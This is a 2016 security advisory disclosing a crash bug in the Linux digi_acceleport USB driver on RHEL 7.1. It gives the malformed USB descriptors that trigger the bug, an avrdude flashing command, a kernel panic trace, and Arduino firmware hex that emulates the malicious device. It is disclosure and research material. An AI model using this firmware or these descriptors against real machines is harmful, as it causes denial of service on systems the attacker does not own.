OS-S Security Advisory 2016-12
Linux digi_acceleport Nullpointer Dereference   

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS:  4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (digi_acceleport driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/OSS-2016-11_wacom.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the digi_acceleport driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes. 

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
  bLength:      0x12
    bDescriptorType:    0x1
    bcdUSB:      0x200
    bDeviceClass:      0x3
    bDeviceSubClass:    0x0
    bDeviceProtocol:    0x0
    bMaxPacketSize:    0x40
    idVendor:      0x5c5
    idProduct:      0x2
    bcdDevice:      0x100
    iManufacturer:      0x1
    iProduct:      0x2
    iSerialNumbers:      0x3
    bNumConfigurations:    0x1



The digi_acceleport driver does not use the num_ports (struct usb_serial) 
value for any kind of sanity checks during the initialization process 
(digi_port_init & digi_startup). Due to an incomplete sanity check, the driver 
could try to dereference a null-pointer if a malformed device-descriptor is 
presented (zero-value for bNumEndpoints or no described endpoint-descriptors).
This results in a crash of the system. 



    [*] Configuration-Descriptor
      bLength:      0x9
      bDescriptorType:    0x2
      wTotalLength:      0x27
      bNumInterfaces:    0x1
      bConfigurationValue:    0x1
      iConfiguration:      0x0
      bmAttributes:      0x0
      bMaxPower:      0x31
      [*] Interface-Descriptor
        bLength:      0x9
        bDescriptorType:    0x4
        bInterfaceNumber:    0x0
        bAlternateSetting:    0x0
        bNumEndpoints:    0x0
        bInterfaceClass:      0x0
        bInterfaceSubClass:    0x0
        bInterfaceProtocol:    0x0
        [*] Endpoint-Descriptor:
          bLength:      0x7
          bDescriptorType:    0x5
          bEndpointAddress:    0x81  
          bmAttribut:      0x3  
          wMaxPacketSize:    0x404
          bInterval:      0xc
        [*] Endpoint-Descriptor:
          bLength:      0x7
          bDescriptorType:    0x5
          bEndpointAddress:    0x1  
          bmAttribut:      0x2  
          wMaxPacketSize:    0x4
          bInterval:      0xc
        [*] Endpoint-Descriptor:
          bLength:      0x7
          bDescriptorType:    0x5
          bEndpointAddress:    0x82  
          bmAttribut:      0x1
          wMaxPacketSize:    0x4
          bInterval:      0xc


Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This 
firmware will emulate the defective USB device.


avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex


The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this 
Security Advisory. 


References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283378


Kernel Stacktrace:

[   39.946974] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   40.160503] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint 
descriptors, different from the interface descriptor's value: 0
[   40.191627] usb 1-1: New USB device found, idVendor=05c5, idProduct=0002
[   40.200660] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[   40.210919] usb 1-1: Product: ĉ
[   40.216028] usb 1-1: Manufacturer: ĉ
[   40.220047] usb 1-1: SerialNumber: %
[   40.285649] usbcore: registered new interface driver digi_acceleport
[   40.295629] usbserial: USB Serial support registered for Digi 2 port USB 
adapter
[   40.302062] usbserial: USB Serial support registered for Digi 4 port USB 
adapter
[   40.318968] digi_acceleport 1-1:1.0: Digi 2 port USB adapter converter 
detected
[   40.327158] BUG: unable to handle kernel NULL pointer dereference at 
0000000000000268
[   40.328013] IP: [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20
[   40.328013] PGD 0 
[   40.328013] Oops: 0002 [#1] SMP 
[   40.328013] Modules linked in: digi_acceleport(+) ip6t_rpfilter ip6t_REJECT 
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc 
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter 
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat 
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter 
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper 
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c 
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix 
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[   40.328013] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 
3.10.0-229.14.1.el7.x86_64 #1
[   40.328013] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   40.328013] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   40.328013] RIP: 0010:[<ffffffff81097dca>]  [<ffffffff81097dca>] 
__init_waitqueue_head+0xa/0x20
[   40.328013] RSP: 0018:ffff88000bd23a30  EFLAGS: 00010282
[   40.328013] RAX: 0000000000000270 RBX: ffff88000af97d80 RCX: 0000000000000000
[   40.328013] RDX: ffffffffa03978f8 RSI: ffffffffa0396577 RDI: 0000000000000268
[   40.328013] RBP: ffff88000bd23a58 R08: 0000000000016440 R09: ffff88000e401800
[   40.328013] R10: ffffffffa039531a R11: ffff88000c3b9800 R12: 0000000000000000
[   40.328013] R13: 0000000000000003 R14: ffff88000af97840 R15: ffffffffa0397200
[   40.328013] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
knlGS:0000000000000000
[   40.328013] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   40.328013] CR2: 0000000000000268 CR3: 000000000cb80000 CR4: 
00000000000006f0
[   40.328013] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
0000000000000000
[   40.328013] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   40.328013] Stack:
[   40.328013]  ffff88000bd23a58 ffffffffa03953bf ffff88000d685d00 ffff88000af97840
[   40.328013]  ffff88000c525830 ffff88000bd23a80 ffffffffa0395464 ffff88000bd23a80
[   40.328013]  ffff88000af97858 ffff88000af97858 ffff88000bd23c18 ffffffff8145fed1
[   40.328013] Call Trace:
[   40.328013]  [<ffffffffa03953bf>] ? digi_port_init+0xcf/0x100 [digi_acceleport]
[   40.328013]  [<ffffffffa0395464>] digi_startup+0x54/0x98 [digi_acceleport]
[   40.328013]  [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230
[   40.328013]  [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
[   40.328013]  [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
[   40.328013]  [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
[   40.328013]  [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
[   40.328013]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   40.328013]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   40.328013]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   40.328013]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   40.328013]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   40.328013]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   40.328013]  [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580
[   40.328013]  [<ffffffffa039a000>] ? 0xffffffffa0399fff
[   40.328013]  [<ffffffffa039a01e>] usb_serial_module_init+0x1e/0x1000 
[digi_acceleport]
[   40.328013]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   40.328013]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   40.328013]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   40.328013]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   40.328013]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   40.328013]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   40.328013] Code: 00 48 c7 c7 50 32 d6 81 e8 74 38 57 00 e9 37 ff ff ff e8 5a 
1a 57 00 e9 61 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8d 47 08 <c7> 07 00 
00 00 00 48 89 e5 48 89 47 08 48 89 47 10 5d c3 0f 1f 
[   40.328013] RIP  [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20
[   40.328013]  RSP <ffff88000bd23a30>
[   40.328013] CR2: 0000000000000268
[   40.772818] ---[ end trace b239663354a1c556 ]---
[   40.778676] Kernel panic - not syncing: Fatal exception
[   40.779642] drm_kms_helper: panic occurred, switching back to text console


Arduino Leonardo Firmware:

:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C2050C942D04CE
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C940C02C3
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C50009030C0306
:1000B000FF0203032D032D032D0310031403180364
:1000C0001E0322032D0328030000000200080E0077
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E0EDF3E102C005900D92A436B107D5
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9402070C940000089547
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E949F020E94C70060E06D
:1001B00083E00E942E0361E087E00E942E0361E04D
:1001C00088E00E942E030E9457067E012AE9E20E73
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
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:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
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:100460008093650590936605A0936705B093680532
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:100490006B05B0936C05BF91AF919F918F913F9188
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:1005400084B5826084BD84B5816084BD85B58260D8
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:1009F0007505F0917605EE0DFF1D0284F385E02D5F
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:100A40005C910284F385E02DE80FF91F60817181CC
:100A500080E00E94DE030F5F1F4F0F900F900F90FA
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:100A9000C1F0233009F04EC08C851F928F9389EFEF
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